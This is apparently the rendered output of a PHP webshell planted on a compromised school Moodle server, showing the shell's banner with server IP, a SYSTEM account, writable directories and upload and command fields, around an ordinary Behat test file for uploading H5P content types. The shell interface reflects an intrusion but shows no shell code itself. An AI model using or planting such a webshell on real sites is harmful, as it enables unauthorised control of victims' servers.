403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/tuprblearn/h5p/tests/behat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/tuprblearn/h5p/tests/behat/h5p_libraries.feature
@editor @core_h5p @_file_upload
Feature: Upload and list H5P libraries and content types installed

  @javascript
  Scenario: No library installed in new installations.
    Given I log in as "admin"
    When I navigate to "H5P > Manage H5P content types" in site administration
    Then I should see "Upload H5P content types"
    And I should not see "Installed H5P"

  @javascript
  Scenario: Upload an invalid content type.
    Given I log in as "admin"
    And I navigate to "H5P > Manage H5P content types" in site administration
    When I upload "h5p/tests/fixtures/h5ptest.zip" file to "H5P content type" filemanager
    And I click on "Upload H5P content types" "button" in the "#fitem_id_uploadlibraries" "css_element"
    And I wait until the page is ready
    Then I should see "Invalid H5P content type"
    And I should not see "Installed H5P"

  @javascript
  Scenario: Upload a valid content type.
    Given I log in as "admin"
    And I navigate to "H5P > Manage H5P content types" in site administration
    When I upload "h5p/tests/fixtures/filltheblanks.h5p" file to "H5P content type" filemanager
    And I click on "Upload H5P content types" "button" in the "#fitem_id_uploadlibraries" "css_element"
    And I wait until the page is ready
    Then I should see "H5P content types uploaded successfully"
    And I should see "Installed H5P"
    And I should see "Installed H5P content types"
    And I should see "Fill in the Blanks"
    And I should not see "Essay"
    And I should see "Installed H5P libraries"
    And I click on "Installed H5P libraries" "link"
    And I should see "Question"
    And I should see "1.4" in the "Question" "table_row"
    And I should not see "1.3" in the "Question" "table_row"
    And I upload "h5p/tests/fixtures/essay.zip" file to "H5P content type" filemanager
    And I click on "Upload H5P content types" "button" in the "#fitem_id_uploadlibraries" "css_element"
    And I wait until the page is ready
#   Existing content types are kept and new added
    And I should see "Fill in the Blanks"
    And I should see "Essay"
    And I click on "Installed H5P libraries" "link"
    And I should see "1.3" in the "Question" "table_row"
    And I should see "1.4"

Youez - 2016 - github.com/yon3zu
LinuXploit